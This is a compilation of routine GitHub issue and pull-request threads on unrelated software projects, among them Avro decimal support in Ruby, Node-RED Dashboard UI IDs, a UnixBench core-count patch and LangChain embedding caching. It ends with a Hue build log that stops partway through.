AVRO-2677: Fully and correctly support decimal logical type in Ruby

Jira

[x] My PR addresses the following Avro Jira issues and references them in the PR title. For example, "AVRO-1234: My Avro PR"

https://issues.apache.org/jira/browse/AVRO-2677
In case you are adding a dependency, check if the license complies with the ASF 3rd Party License Policy.

memory_profiler is MIT licensed and is only required for testing

Tests

[x] My PR adds the following unit tests OR does not need testing for this extremely good reason:

Unit tests added for decimal logical type encoding/decoding according to the Avro specification
Unit tests added to ensure performance regressions are not unknowingly introduced with the encoder/decoder, as we have made an effort to make this the most performant encoder/decoder possible

Commits

[x] My commits all reference Jira issues in their subject lines. In addition, my commits follow the guidelines from "How to write a good git commit message":

Subject is separated from body by a blank line
Subject is limited to 50 characters (not including Jira issue reference)
Subject does not end with a period
Subject uses the imperative mood ("add", not "adding")
Body wraps at 72 characters
Body explains "what" and "why", not "how"

Documentation

[x] In case of new functionality, my PR adds documentation that describes how to use it.

README/CHANGELOG not updated, but the logical type support from AVRO-2677 should have included this encoder/decoder rather than leaving it up to consumers to shove the correct bytes in there. AVRO-2677 is closed, and we are unsure the appropriate measure to take with that. Should we have opened a new issue due to AVRO-2677 not being fully implemented or reopened it? If the former, if someone wants to create that ticket, we're happy to rewrite our commit messages with the correct ticket number.

Supercedes PRs
The following PRs are currently open and implement an incorrect version of this feature, and should be closed:

https://github.com/apache/avro/pull/829
https://github.com/apache/avro/pull/840

Both PRs shove a string like "1.234" into the bytes, rather than encoding them according to the specification. Both PRs do not validate inputs nor introduce infrastructure to do that.
Notes

The Avro specification is imprecise about how decimals are to be implemented, which required us to dig into the source code of Avro for Java as well as dig into Java's BigDecimal and BigInteger to make sure we were doing the same thing. Perhaps the specification could include a Java one-liner that implements the encoder/decoder? Here's a Scala one-liner that we used to test our implementation:

val encoded = new java.math.BigDecimal("3.4562").setScale(6).unscaledValue().toByteArray()
val decoded = new java.math.BigDecimal(new java.math.BigInteger(encoded), 6)

encoded.map("%02x".format(_)).mkString(" ") // 34 bc c8: String
decoded // 3.456200: java.math.BigDecimal

We tested this in Ruby 2.3, 2.4, 2.5, 2.6, and 2.7. This is the reason for the <= check for retained objects, as some Ruby versions retain objects where others don't. We think this is either a bug in memory_profiler or a bug in Ruby itself.
Your build system depends on the echoe gem, but echoe is not compatible with RubyGems > 2.7. RubyGems 3.x has been out since 2018, and RubyGems 2.7 barely works in newer versions of Ruby. Consider upgrading this.
This PR is against master, but 1.9 is the current stable version. This branch is a version based on 1.9 with #761 incorporated (#761 was the PR that incompletely implemented AVRO-2677).

There's a gem published to GitHub packages as well, if you're like us and need a version with decimal support before this hits an official channel.

Thanks
I'm filing the upstream PR here, but @johvet did almost all of the work, performance tuning, and testing.

Does this change handle this part of the Avro specification?

For the purposes of schema resolution, two schemas that are decimal logical types match if their scales and precisions match.

I think this would require a change to lib/avro/schema_compatibililty.rb.

Does this change handle this part of the Avro specification?

I assumed this was previously done by the last contributor, but I didn't check.

@ziggythehamster, @tjwp - Any progress on moving this PR forward?

I'm not sure if there's anything which needs to be done on my end, but if I misunderstand that, let me know :). We've been using our fork in production since I made this PR and have probably encoded 100s of millions of records so far.

@tjwp - Are you able to approve and/or comment on any other required changes? I'd be happy to help out if anything additional is required.

@RyanSkraba, @Fokko, @sekikn - Any chance any of you could kindly review this PR? We're also using a fork of this PR, but it would be really great to get this merged and included in the next release. Without these changes, using avro with ruby is not usable for us.

@andrewthauer - Thank you for offering to help out with this change! I think that the comments from my original review are still relevant.

Full support for decimal logical types requires implementing schema compatibility. Without this a user of the library could accidentally introduce a breaking schema changes believing that something that checks the compatibility would catch it.
Validating the definition of the decimal logical type attributes while encoding each datum is inefficient. This is something that should be done once when the schema is parsed. This also has the benefit of catching errors as soon as the schema is parsed instead of deferring until a datum is eventually encoded for that type.

I assumed this was previously done by the last contributor, but I didn't check.

Schema compatibility checking for decimal logical types was not done by the previous contributor and would be required for full and complete support.

@tjwp - Thanks for the update. I'm a bit busy in the next week or so, but I'll loop back after that to try and address the remaining items.

Any updates on this PR? It seems like a very important feature to support correct decimal support fr Ruby. Anything I can do to help?

Any updates on this PR? It seems like a very important feature to support correct decimal support fr Ruby. Anything I can do to help?

Any updates on this PR? It seems like a very important feature to support correct decimal support fr Ruby. Anything I can do to help?

@aemadrid - I completely agree. This is vital, which is why we had to fork the PR. Was meaning to follow up on this but got sidetracked. It's probably going to a minimum of a few weeks before I could look at this again. Feel free to pick this up and move it forward if your able 🙌.

Any updates on this PR? It seems like a very important feature to support correct decimal support fr Ruby. Anything I can do to help?

@aemadrid - I completely agree. This is vital, which is why we had to fork the PR. Was meaning to follow up on this but got sidetracked. It's probably going to a minimum of a few weeks before I could look at this again. Feel free to pick this up and move it forward if your able 🙌.

@andrewthauer it seems like a daunting task to add schema compatibility support. Any tips on making that work?

@andrewthauer it seems like a daunting task to add schema compatibility support. Any tips on making that work?

@andrewthauer it seems like a daunting task to add schema compatibility support. Any tips on making that work?

@aemadrid - Sorry. I'm not overly familiar with the code base yet either. Perhaps @tjwp might have some tips?

@andrewthauer I thought it might be easier to adding the matching logic to support schema compatibility in a separate change so I've done that here: https://github.com/apache/avro/pull/1082
In making that change, I realized a couple of other things related to this pull request:

the JIRA issue (https://issues.apache.org/jira/browse/AVRO-2677) referenced by this PR is for a closed issue for the serialization of decimal logical type attributes. This PR should have a separate issue that describes what it addresses.
there is no Ruby support at all yet for fixed decimal logical type which make the "fully" part of the description of this change misleading

@tjwp - Thank you!

@andrewthauer I thought it might be easier to adding the matching logic to support schema compatibility in a separate change so I've done that here: #1082

So does this essentially mean your PR covers any additional required code changes beyond what is in place in this PR?

the JIRA issue (https://issues.apache.org/jira/browse/AVRO-2677) referenced by this PR is for a closed issue for the serialization of decimal logical type attributes. This PR should have a separate issue that describes what it addresses.

We can go ahead and create a new JIRA issue describing the issue and what the PR solves

there is no Ruby support at all yet for fixed decimal logical type which make the "fully" part of the description of this change misleading

I think we will need to raise a new PR anyways, so we can adjust the title. Can you clarify what you meant by _fixed_ decimal logical type? here?

@tjwp - I've added a JIRA ticket to reference this. Looks like this PR is out of date. I may need to open a new one as part of fixing this. Any progress on closing off #1082?

I've created PR #1102 which is the just the rebased version of art19:add-bytes-decimal-for-ruby in a new PR that references the new JIRA ticket AVRO-3054.

#1102 was merged


[structured data]Not able to proceed without refilling caption when uploading via Nearby

Summary:
When you upload via Nearby, the caption/desc fields are autofilled as they should be. However the app considers the caption field "empty" and does not allow you to proceed until you remove and re-type the autofilled caption.
This only exists on structured-data branch.
Steps to reproduce:

Upload via Nearby
Try to tap "Next", it is greyed out

Device and Android version:
Nexus S API 27 emulator
Commons app version:
structured-data, prodDebug
Screen-shots:

Would you like to work on the issue?
No

duplicate #3600


Implement Unique IDs for UI Elements, shows just the Labels to the User

Description

Summary:
To improve code maintainability and avoid inconsistencies, it is proposed that all UI elements (such as Pages, Groups, and thus Menu items) in Node-RED Dashboard 2.0 should have unique IDs or codes. These IDs should be used for routing, authorization, and business logic instead of visible text labels.
Description:
Currently, Node-RED Dashboard 2.0 uses visible text labels for UI elements such as Page Names in routing, authorization, and business logic. This approach can lead to several issues:

Inconsistencies and poor code maintenance: Renaming a UI element requires a complete refactor of the authorization logic, which can be cumbersome and error-prone.
Positional approach limitations: Using positional references for UI elements can lead to similar maintenance challenges.

Proposed Solution:

Each UI element (Page, Group etc.) should have a unique ID or code.
The ID should be randomly generated upon creation but can be overwritten by the user to provide a meaningful logical key.

Separation of Labels and IDs:

The visible name of the UI element should be treated as a label and should not be used in routing, authorization, or business logic.
Deep references to UI elements (e.g., programmatic UI-Control to show/hide components based on authenticated user) should leverage IDs, not names.

Benefits:

Improved Maintainability: Changes to visible labels will not require refactoring of the underlying logic, reducing the risk of errors and simplifying maintenance.
Consistency: Using unique IDs ensures that references to UI elements remain consistent, even if the visible labels are changed.
Flexibility: Users can assign meaningful logical keys to IDs, making the system more intuitive and easier to manage. Naming convention (E.G. complex keys with prefixes and suffixes) could help in complex scenario without affecting the visible label.

Have you provided an initial effort estimate for this issue?
I have provided an initial effort estimate

Hi @andrea-tomassi,
This was indeed the root cause for another issue I had this morning.
Note that pages, groups, ... are config nodes, which have a unique node id already.  But of course the requested refactoring will result in quite some work.

@bartbutenaers actually the current behavior of the "Name" field is being an ID. And actually it is already what is being used by ui-controls. That part is just perfect.
So, probably, the only thing that is missing is a Label to be rendered instead of the current one. And just calling the one that now we call "Name" (From the screenshot above) something like "key" or "code", and pre-filling it

Few thoughts:

"Name" is a standard practice for Node-RED.
Every node (widget, page, group, etc) has a random ID already assigned to it by Node-RED.
Being able to use this ID to drive ui-control is very sensible, the challenge is making the id more visible in Node-RED itself, as its not an obvious/easy find.
We would still need to support label-driven control as that's a feature from Dashboard 1.0 we've inherited and need to support

@joepavitt I totally agree with your analysis, this is why I finished with thinking that just adding a Label field on top of the exiating was just easier. This would keep unchanged any deep behaviour. For a developer is just fine dealing with the Name property.
I just need a way to re-label that name (which is going to be  a technical name).

@joepavitt I have been developing applications and products for decades. If I count the number of times I had to change the label that users see in a menu versus the number of times I had to change the underlying variable name, the difference is significant.
Even without a semantic change that justifies renaming variables, it’s common to change visible labels for reasons like UX or marketing.
That’s why I don’t want to use visible names as references in my code. I want to be able to change menu labels 100 times without altering any other code.
Node-RED is a great tool, but it doesn’t support using an IDE for development. Code refactoring has to be done manually, which is a significant effort. This can hinder the adoption of technology beyond small home automation dashboards to professional code production. With current capabilities, it would be a shame to get bogged down by these details.
I haven’t even mentioned i18n. Ideally, labels should be separate from the logic and contain an i18n key, not text. But that’s probably out of scope for now.
Hope this helps...

Think we're mis-communicating. Node-RED already provides a static ID for each node (including every group, page, etc.) that will not change. I was asking if there would be any issues with relying upon that for the business logic.

It's not well surfaced by Node-RED though, you have to edit a node, then click the "i" icon in the sidebar to view it. We could show it as a static field in the page/group config tray to make this more accessible?
I'm absolutely in agreement with you re: relying on Name/Label.

Node-RED is a great tool, but it doesn’t support using an IDE for development. Code refactoring has to be done manually, which is a significant effort. This can hinder the adoption of technology beyond small home automation dashboards to professional code production. With current capabilities, it would be a shame to get bogged down by these details.

I agree here re: IDE, if there are some feature requests for Node-RED, make sure they're raised. It's very actively developed, and they're always open to improvements.

Yes, you're right, I ignored that hypothesis without explaining. I would avoid referencing node IDs in the application's business logic. They are physical keys tied to a specific instance of Node-RED. How can we make the solution robust when we want to transfer the logic to another instance?
Instead, if we ask the user to provide a logical key (the current name) and a label (optional) for each page, we can rely on that logical key (the Name) for references.
If I have a ui-control node that defines the behavior of my page with Name: "advanced_settings", I can be sure that this configuration, when exported, will always manage any page with this logical key on any Node-RED instance.
On the other hand, if my ui-control node references the node ID, it won't be transferable to a dashboard with a page named "advanced_settings" but with a different ID.
Moreover, this is simpler because it doesn't require any changes to the current behavior of ui-control, etc.
Using physical keys in business logic likely has other disadvantages that I can't see right now, but it's generally not a good practice.

Ok, my scenario was a little different from this: When I copy a specific ui-control (like for home or settings pages) from Node-RED A (where I have clearly designed roles and authorization) to Node-RED B (a new application), Node-RED B has different pages (totally different pages IDs). Of course some more node is needed to implement some logic, but ui-control contains the mapping, so I'm focusing on it. Assume the "home" and "settings" pages for Node-Red B are different in content, and this is why I did not imported them, but the authorization logic is the same (likely). If the ui-control business logic uses physical IDs, being copyed from Node-Red A, it references pages IDs that won’t exist in Node-RED B.
Yes, my vote is for adding a "key" property, with the meaning of "logical key". Maybe it could be defaulted in some smart way?
Personally I would stay away from phisical IDs. Soon or less I guess it is revealing more issues.


Use Travis CI instead of AppVeyor for Windows testing

bors try

bors try

bors try

bors try

bors try

All four windows-msvc builds failed with:
  = note: LINK : fatal error LNK1181: cannot open input file 'advapi32.lib'

Two of the windows-gnu builds passed, but the other two look like they failed to even install the toolchain properly, with no output indicating any reason.

Let's see if Travis has improved anything...
bors try

Yay, it passed!
And importantly, the overall CI run took much less time.  Looking over the AppVeyor build history, while these "Try" builds are broken since I removed appveyor.yml, note that the "Merge" builds usually take at least 2 hours.  The full run on Travis took only 44 minutes of wall time, for all of Linux, macOS, and Windows!
(I'm only testing Windows stable and nightly here, which is a little unfair to AppVeyor which has been testing beta too, but that alone is not enough to make up the difference.)

As of #731, we're using GitHub workflows.


"RETableViewManager.bundle" not found.

error: Resource "/Users/../Library/Developer/Xcode/DerivedData/TEST-aatffaoqizydcwdbdxtoudrstfui/Build/Products/Debug-iphoneos/RETableViewManager/RETableViewManager.bundle" not found. Run 'pod install' to update the copy resources script.
pod install, dos not work.
Anyone knows how to resolve this issue..
Cleaning and all that .. dos not work either..

me too。 The need to update the author.


bypassing the lack of a license in fxdk

It is necessary because running a fivem client in a cfx.re developer kit, it does not provide a license identifier

nice addition, love it


Update .NET 5.0 EOL

Update dotnet definitions as .NET 5.0 is EOL. Context: https://devblogs.microsoft.com/dotnet/dotnet-5-end-of-support-update/
Made a few other updates since Node.js 10 and 12 are also EOL.

We'll also wanna bump and update the info in this manifest file (unless you wanted to do it in another PR, but IMO I think makes the most sense to do here)
https://github.com/microsoft/vscode-dev-containers/blob/main/containers/dotnet/definition-manifest.json#L2-L3


#8028: upgrade reduce-op to be async+multi-device compatible

@sraizada-tt this is what you should now see when you print the multi-device tensor:


considering the use of magic method __set , __unset , __isset , __get

so like here https://github.com/alexei/php-jsend/blob/master/JSend.php
this for alowed so like this
$success = JSend::success($data);
$success->myvar = 'hello world jsend';
$success->send();

@KTP95 JSend is an immutable value object as such adding PHP's magic setters is out of scope for the library.
With the current library you can already do this
$data = ['myvar' => 'hellow world jsend'];
$success = JSend::success($data);
echo $success->getData()['myvar']; //will return 'hello world Jsend'
$success->send();

or do this
$success = Jsend::success([]);
$data = ['myvar' => 'hellow world jsend'];
$success = $success->withData($data);
echo $success->getData()['myvar']; //will return 'hello world Jsend'
$success->send();


[WIP] Provides a flag to execute UnixBench with the > 16 cores patch

UnixBench by default is designed to only execute up to 16 jobs
concurrently. If your system has more than 16 CPUs available, UnixBench
will not execute enough jobs to fully utilize all the CPUs in the machine,
which will result in a lower score that what the system is capable of.
A patch was submitted to the UnixBench issues that addresses this issue.
This commit allows the user to optionally use this patch by setting the
following flag:
--unixbench_all_cores
Official link to issue:
https://code.google.com/p/byte-unixbench/issues/detail?id=4

DO NOT MERGE YET!
This is WIP, I just want to get early feedback.

No worries... well just look at the code.
Connor why does the bot keep pinging?
On Feb 25, 2015 2:36 PM, "Carlos Torres"<EMAIL_ADDRESS>wrote:

DO NOT MERGE YET!
This is WIP, I just want to get early feedback.
--
Reply to this email directly or view it on GitHub
https://github.com/GoogleCloudPlatform/PerfKitBenchmarker/pull/135#issuecomment-76076207
.

ok to test.

Sorry for the noise from the bot - I'll look at turning it down.

Looks pretty good so far.  The only comment is to make the flag more descriptive like "Setting this flag changes the default behavior of Unix bench.  It will now scale to the number of processors on the machine."
Is the 2D and 3D line in the patch file adding extra tests?

Ok, I will add that to the flag description.
It doesn't add extra tests, I think the GitHub diff viewer is kind of confusing. If you look at the file directly here you'll see it doesn't add them, they are already there.
https://github.com/meteorfox/PerfKitBenchmarker/blob/unixbench-16-cores-patch/perfkitbenchmarker/data/unixbench-16core-limitation.patch
I'm having an issue with the regex for the score for some reason. I'm debugging it right now, will commit patch soon.
This is the error I'm getting:

NoMatchError: No match for pattern "\n([A-Z][\w\-\(\) ]+)\s+([-+]?[0-9]*\.?[0-9]+) (\w+)\s+\(([-+]?[0-9]*\.?[0-9]+) (\w+), (\d+) samples\)" in "Benchmark Run: Wed Feb 25 2015 23:16:02 - 23:16:02
32 CPUs in system; running 32 parallel copies of tests
"

Here's the full UnixBench output where is failing on:
https://gist.github.com/meteorfox/558408e6138fac5d90ed

I think because the output was longer due to number of processors in the system, it didn't flush all of it or something, the output stops abruptly at the ""Benchmark Run: Wed Feb 25 2015 23:16:02 - 23:16:02 32 CPUs in system; running 32 parallel copies of tests"" line and there's nothing else.

It will be good to add some tests for the output parser :)
On Thu, Feb 26, 2015 at 1:31 AM, Carlos Torres<EMAIL_ADDRESS>wrote:

I think because the output was longer due to number of processors in the
system, it didn't flush all of it or something, the output stops abruptly
at the ""Benchmark Run: Wed Feb 25 2015 23:16:02 - 23:16:02 32 CPUs in
system; running 32 parallel copies of tests"" line and there's nothing else.
--
Reply to this email directly or view it on GitHub
https://github.com/GoogleCloudPlatform/PerfKitBenchmarker/pull/135#issuecomment-76097035
.

--
Anthony F. Voellm (aka Tony)
Google Voice:<PHONE_NUMBER>
https://www.google.com/voice/b/0?pli=1#phones
Blog: http://perfguy.blogspot.com/

Ok, I figured out the problem. It wasn't the size of the output with the default UnixBench you cannot simply run more than 16 "copies", which is exactly the problem this pull-request request is trying to address. It's easy to replicate, either run UnixBench as is with no-patch in a box with more than 16 CPUs, or execute it with this flag:
$ ./Run -c 17
-c  is the number of copies, which it will not execute beyond 16. If -c is <= 16, it will work as expected. Executing it this way will skip directly to an incomplete output just like above, and produce an exception on PerfKit.

Can someone confirm and reproduce the steps I mentioned on the previous comment?

Setup UnixBench (default, with no-patch)
Execute with ./Run -c N  where N > 16

When no flags are specified, UnixBench does a run with -c 1, and then another one with -c M, where M is the number of CPUs in the system.

Expected outcome is that it runs N parallel copies and produces the full results report
Actual outcome, only the following message is printed and benchmarks do not run, hence reports no data.

"M CPUs in system; running N parallel copies of tests"

Regarding the issue about not getting data from the parallel copies test with vanilla UnixBench on a box with more than 16 CPUs, it's actually a limitation on UnixBench and not on PerfKit. This bug is already in master, and it is not introduced by this pull-request.
This pull-request enables a user to optionally overcome this limitation, by adding the --unixbench_all_cores=true flag to the pkb command. It doesn't address the problem of PerfKit throwing the NoMatchError exception when running vanilla UnixBench on >16 CPUs systems, I believe another issue and pull-request should be opened to address that problem.
We will need to decide how will PerfKit deal when executing unixbench on a >16 CPUs system and without this flag.
As of the last commit, I consider this change to be Ready for Review.

Connor,
Can you please help Carlos with this commit.
Thanks,
Tony
On Fri, Feb 27, 2015 at 3:55 PM, Carlos Torres<EMAIL_ADDRESS>wrote:

Regarding the issue about not getting data from the parallel copies test
with vanilla UnixBench on a box with more than 16 CPUs, it's actually a
limitation on UnixBench and not on PerfKit. This bug is already in master,
and it is not introduced by this pull-request.
This pull-request enables a user to optionally overcome this limitation,
by adding the --unixbench_all_cores=true flag to the pkb command. It
doesn't address the problem of PerfKit throwing the NoMatchError exception
when running vanilla UnixBench on >16 CPUs systems, I believe another issue
and pull-request should be opened to address that problem.
We will need to decide how will PerfKit deal when executing unixbench on a

16 CPUs system and without this flag.

As of the last commit, I consider this change to be Ready for Review.
--
Reply to this email directly or view it on GitHub
https://github.com/GoogleCloudPlatform/PerfKitBenchmarker/pull/135#issuecomment-76495031
.

--
Anthony F. Voellm (aka Tony)
Google Voice:<PHONE_NUMBER>
https://www.google.com/voice/b/0?pli=1#phones
Blog: http://perfguy.blogspot.com/

Sure, I'm looking now.

Can someone confirm and reproduce the steps I mentioned on the previous comment?

Setup UnixBench (default, with no-patch)

Execute with ./Run -c N where N > 16

When no flags are specified, UnixBench does a run with -c 1, and then another one with -c M, where M is the number of CPUs in the system.

Expected outcome is that it runs N parallel copies and produces the full results report

Actual outcome, only the following message is printed and benchmarks do not run, hence reports no data.

"M CPUs in system; running N parallel copies of tests"

I get the same behavior.  I opened #138 to track cleaning up the behavior when running on a machine with >16 cores and without --unixbench_all_cores.
I'm running UnixBench with the patch to verify, otherwise looks great.

@cmccoy Thanks for reviewing this commit.

Thanks, @meteorfox.


Feature Request: Allow initializing HuggingFaceEmbeddings from the cached weight

Motivation
Right now, HuggingFaceEmbeddings doesn't support loading an embedding model's weights from the cache but downloading the weights every time. Fixing this would be a low hanging fruit by allowing the user to pass their cache directory.
Suggestion
The only change has only a few lines in init()

class HuggingFaceEmbeddings(BaseModel, Embeddings):
    """Wrapper around sentence_transformers embedding models.

    To use, you should have the ``sentence_transformers`` python package installed.

    Example:
        .. code-block:: python

            from langchain.embeddings import HuggingFaceEmbeddings
            model_name = "sentence-transformers/all-mpnet-base-v2"
            hf = HuggingFaceEmbeddings(model_name=model_name)
    """

    client: Any  #: :meta private:
    model_name: str = DEFAULT_MODEL_NAME
    """Model name to use."""

    def __init__(self, cache_folder=None, **kwargs: Any):
        """Initialize the sentence_transformer."""
        super().__init__(**kwargs)
        try:
            import sentence_transformers
            self.client = sentence_transformers.SentenceTransformer(model_name_or_path=self.model_name, cache_folder=cache_folder)
        except ImportError:
            raise ValueError(
                "Could not import sentence_transformers python package. "
                "Please install it with `pip install sentence_transformers`."
            )

    class Config:
        """Configuration for this pydantic object."""

        extra = Extra.forbid

    def embed_documents(self, texts: List[str]) -> List[List[float]]:
        """Compute doc embeddings using a HuggingFace transformer model.

        Args:
            texts: The list of texts to embed.

        Returns:
            List of embeddings, one for each text.
        """
        texts = list(map(lambda x: x.replace("\n", " "), texts))
        embeddings = self.client.encode(texts)
        return embeddings.tolist()

    def embed_query(self, text: str) -> List[float]:
        """Compute query embeddings using a HuggingFace transformer model.

        Args:
            text: The text to embed.

        Returns:
            Embeddings for the text.
        """
        text = text.replace("\n", " ")
        embedding = self.client.encode(text)
        return embedding.tolist()

I am eager to learn how the solution to this problem is approached. Can you tell me where the weights are located and how they are downloaded? I am a beginner and am excited to see the solution, but I will only contribute if I have a better understanding of the process since I have limited experience in machine learning engineering.

I am eager to learn how the solution to this problem is approached. Can you tell me where the weights are located and how they are downloaded? I am a beginner and am excited to see the solution, but I will only contribute if I have a better understanding of the process since I have limited experience in machine learning engineering.

Thanks for your quick response. The weight would be downloaded if the user doesn't specify the cache_folder, and initializes SentenceTransformer() (from the python package sequence_transformer, directly
By default, if no cache_folder is given, SequenceTransformer will search the weights from the directory SENTENCE_TRANSFORMERS_HOME, see here, if the weights are not found, it will download the weights from huggingface hub.
so the alternative for users without changing the LangChain code here is to create a env SENTENCE_TRANSFORMERS_HOME that points to the real weight location, not ideal, but acceptable. In this case, we could document the usage on the LangChain HuggingFaceEmbedding docstring, but it will transfer the complexity to the user with adding the env variable to their python script. To make it user-friendly, we could offer this cache_folder option.

@nicolefinnie Yup this make sense. Thanks for the suggestion!

Can we decode the embeddings?

Isn't the dependency on sentence_transformers limiting? I.e. if I wanted to test openassistant llm initialized locally from weights I couldn't use the class HuggingFaceEmbeddings because sentence_transformers doesn't support openassistant. Am I missing something are all hf llms (i.e. open assistant, llama, vicuna etc) compatible with sentence_transformers embeddings (both library and actual model embeddings).

Does someone have a working example of initializing HuggingFaceEmbeddings without an internet connection? I have tried specifying the "cache_folder" parameter, but it seems to be ignored

Hi, just asking again: Does anyone have a working example of initializing HuggingFaceEmbeddings without an internet connection?
I need to use this class with pre-downloaded embeddings code instead of downloading from huggingface everytime.

Hi, just asking again: Does anyone have a working example of initializing HuggingFaceEmbeddings without an internet connection?
I need to use this class with pre-downloaded embeddings code instead of downloading from huggingface everytime.

I have make it works by this method.
from langchain.embeddings import HuggingFaceEmbeddings
embedding_models_root = "/mnt/embedding_models"
model_ckpt_path = os.path.join(embedding_models_root, 'multi-qa-MiniLM-L6-cos-v1')
embeddings = HuggingFaceEmbeddings(model_name=model_ckpt_path)
text = "This is a test document."
query_result = embeddings.embed_query(text)
doc_result = embeddings.embed_documents([text, "This is not a test document."])

print("==="*20)
print("query_result: \n {}".format(query_result))
print("==="*20)
print("doc_result: \n {}".format(doc_result))
print("==="*20)


fix(cursor): optimized cursor synchronization debouncing

Resolve #1404

Done

It's reproduced now in the latest version. @xiyaowong

@BTBMan https://github.com/vscode-neovim/vscode-neovim/issues/1409#issuecomment-1704471139


Compile error: cannot import name get_regions

Today, I've got this error whem compiling the master.
My system is Ubuntu 14.04.
root@10:/home/codes/hue# make desktop
cd /home/codes/hue/maven && mvn install
[INFO] Scanning for projects...
[INFO]
[INFO] ------------------------------------------------------------------------
[INFO] Building Hue Maven Parent POM 3.10.0-SNAPSHOT
[INFO] ------------------------------------------------------------------------
[INFO]
[INFO] --- maven-enforcer-plugin:1.0:enforce (default) @ hue-parent ---
[INFO]
[INFO] --- maven-install-plugin:2.3:install (default-install) @ hue-parent ---
[INFO] Installing /home/codes/hue/maven/pom.xml to /root/.m2/repository/com/cloudera/hue/hue-parent/3.10.0-SNAPSHOT/hue-parent-3.10.0-SNAPSHOT.pom
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 0.432s
[INFO] Finished at: Mon Aug 15 11:22:43 BRT 2016
[INFO] Final Memory: 6M/153M
[INFO] ------------------------------------------------------------------------
make[1]: Entrando no diretório /home/codes/hue/desktop' make -C core env-install make[2]: Entrando no diretório /home/codes/hue/desktop/core'
--- Installing desktop into virtual-env
running develop
running egg_info
writing requirements to src/desktop.egg-info/requires.txt
writing src/desktop.egg-info/PKG-INFO
writing top-level names to src/desktop.egg-info/top_level.txt
writing dependency_links to src/desktop.egg-info/dependency_links.txt
writing entry points to src/desktop.egg-info/entry_points.txt
reading manifest file 'src/desktop.egg-info/SOURCES.txt'
writing manifest file 'src/desktop.egg-info/SOURCES.txt'
running build_ext
Creating /home/codes/hue/build/env/lib/python2.7/site-packages/desktop.egg-link (link to src)
desktop 3.10.0 is already the active version in easy-install.pth
Installing hue script to /home/codes/hue/build/env/bin
Installing supervisor script to /home/codes/hue/build/env/bin
Installed /home/codes/hue/desktop/core/src
make[2]: Saindo do diretório /home/codes/hue/desktop/core' make -C libs/aws env-install make[2]: Entrando no diretório /home/codes/hue/desktop/libs/aws'
--- Installing aws into virtual-env
running develop
running egg_info
writing requirements to src/aws.egg-info/requires.txt
writing src/aws.egg-info/PKG-INFO
writing top-level names to src/aws.egg-info/top_level.txt
writing dependency_links to src/aws.egg-info/dependency_links.txt
writing entry points to src/aws.egg-info/entry_points.txt
reading manifest file 'src/aws.egg-info/SOURCES.txt'
writing manifest file 'src/aws.egg-info/SOURCES.txt'
running build_ext
Creating /home/codes/hue/build/env/lib/python2.7/site-packages/aws.egg-link (link to src)
aws 3.10.0 is already the active version in easy-install.pth
Installed /home/codes/hue/desktop/libs/aws/src
make[2]: Saindo do diretório /home/codes/hue/desktop/libs/aws' make -C libs/hadoop env-install make[2]: Entrando no diretório /home/codes/hue/desktop/libs/hadoop'
--- Installing hadoop into virtual-env
running develop
running egg_info
writing requirements to src/hadoop.egg-info/requires.txt
writing src/hadoop.egg-info/PKG-INFO
writing top-level names to src/hadoop.egg-info/top_level.txt
writing dependency_links to src/hadoop.egg-info/dependency_links.txt
writing entry points to src/hadoop.egg-info/entry_points.txt
reading manifest file 'src/hadoop.egg-info/SOURCES.txt'
writing manifest file 'src/hadoop.egg-info/SOURCES.txt'
running build_ext
Creating /home/codes/hue/build/env/lib/python2.7/site-packages/hadoop.egg-link (link to src)
hadoop 3.10.0 is already the active version in easy-install.pth
Installed /home/codes/hue/desktop/libs/hadoop/src
make[2]: Saindo do diretório /home/codes/hue/desktop/libs/hadoop' make -C libs/indexer env-install make[2]: Entrando no diretório /home/codes/hue/desktop/libs/indexer'
--- Installing indexer into virtual-env
running develop
running egg_info
writing requirements to src/indexer.egg-info/requires.txt
writing src/indexer.egg-info/PKG-INFO
writing top-level names to src/indexer.egg-info/top_level.txt
writing dependency_links to src/indexer.egg-info/dependency_links.txt
writing entry points to src/indexer.egg-info/entry_points.txt
reading manifest file 'src/indexer.egg-info/SOURCES.txt'
writing manifest file 'src/indexer.egg-info/SOURCES.txt'
running build_ext
Creating /home/codes/hue/build/env/lib/python2.7/site-packages/indexer.egg-link (link to src)
indexer 3.10.0 is already the active version in easy-install.pth
Installed /home/codes/hue/desktop/libs/indexer/src
make[2]: Saindo do diretório /home/codes/hue/desktop/libs/indexer' make -C libs/liboauth env-install make[2]: Entrando no diretório /home/codes/hue/desktop/libs/liboauth'
--- Installing liboauth into virtual-env
running develop
running egg_info
writing requirements to src/liboauth.egg-info/requires.txt
writing src/liboauth.egg-info/PKG-INFO
writing top-level names to src/liboauth.egg-info/top_level.txt
writing dependency_links to src/liboauth.egg-info/dependency_links.txt
writing entry points to src/liboauth.egg-info/entry_points.txt
reading manifest file 'src/liboauth.egg-info/SOURCES.txt'
writing manifest file 'src/liboauth.egg-info/SOURCES.txt'
running build_ext
Creating /home/codes/hue/build/env/lib/python2.7/site-packages/liboauth.egg-link (link to src)
liboauth 3.10.0 is already the active version in easy-install.pth
Installed /home/codes/hue/desktop/libs/liboauth/src
make[2]: Saindo do diretório /home/codes/hue/desktop/libs/liboauth' make -C libs/liboozie env-install make[2]: Entrando no diretório /home/codes/hue/desktop/libs/liboozie'
--- Installing liboozie into virtual-env
running develop
running egg_info
writing requirements to src/liboozie.egg-info/requires.txt
writing src/liboozie.egg-info/PKG-INFO
writing top-level names to src/liboozie.egg-info/top_level.txt
writing dependency_links to src/liboozie.egg-info/dependency_links.txt
writing entry points to src/liboozie.egg-info/entry_points.txt
reading manifest file 'src/liboozie.egg-info/SOURCES.txt'
writing manifest file 'src/liboozie.egg-info/SOURCES.txt'
running build_ext
Creating /home/codes/hue/build/env/lib/python2.7/site-packages/liboozie.egg-link (link to src)
liboozie 3.10.0 is already the active version in easy-install.pth
Installed /home/codes/hue/desktop/libs/liboozie/src
make[2]: Saindo do diretório /home/codes/hue/desktop/libs/liboozie' make -C libs/libopenid env-install make[2]: Entrando no diretório /home/codes/hue/desktop/libs/libopenid'
--- Installing libopenid into virtual-env
running develop
running egg_info
writing requirements to src/libopenid.egg-info/requires.txt
writing src/libopenid.egg-info/PKG-INFO
writing top-level names to src/libopenid.egg-info/top_level.txt
writing dependency_links to src/libopenid.egg-info/dependency_links.txt
writing entry points to src/libopenid.egg-info/entry_points.txt
reading manifest file 'src/libopenid.egg-info/SOURCES.txt'
writing manifest file 'src/libopenid.egg-info/SOURCES.txt'
running build_ext
